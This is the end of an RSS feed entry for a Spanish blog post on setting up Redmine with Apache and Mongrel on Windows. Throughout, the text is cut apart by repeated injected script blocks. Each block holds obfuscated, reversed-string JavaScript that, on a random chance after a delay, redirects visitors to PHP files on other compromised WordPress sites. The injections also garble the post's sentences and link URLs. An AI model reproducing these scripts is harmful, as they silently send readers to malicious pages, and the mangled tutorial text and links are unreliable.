$NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to es <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo, así conseguí configurar el Redmine en Windows con Apache. Lo que más costó fue descubrir el parámetro <em>&#8211;prefix</em> de Mongrel para que alojase la aplicación en un subdirec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torio, no soy ningún exper<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to en Rails.</p>
<p>Espero que os sirva de ayuda.</p>
<p>Links:</p>
<ul>
<li><a href="http://noobonrails.blogspot.com/2006/06/how-<script>$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«&#8216;php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth&#8217;=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-setup-mongrel-as-native-windows.html»>How <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to setup Mongrel as a native Window&#8217;s service</a></li>
<li><a href="http://web.archive.org/web/20100817143511/http://wiki.joyent.com:80/shared:kb:proxying">.htaccess Proxy <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to a subdirec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tory</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2009/04/24/apache-y-mongrel-en-windows/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
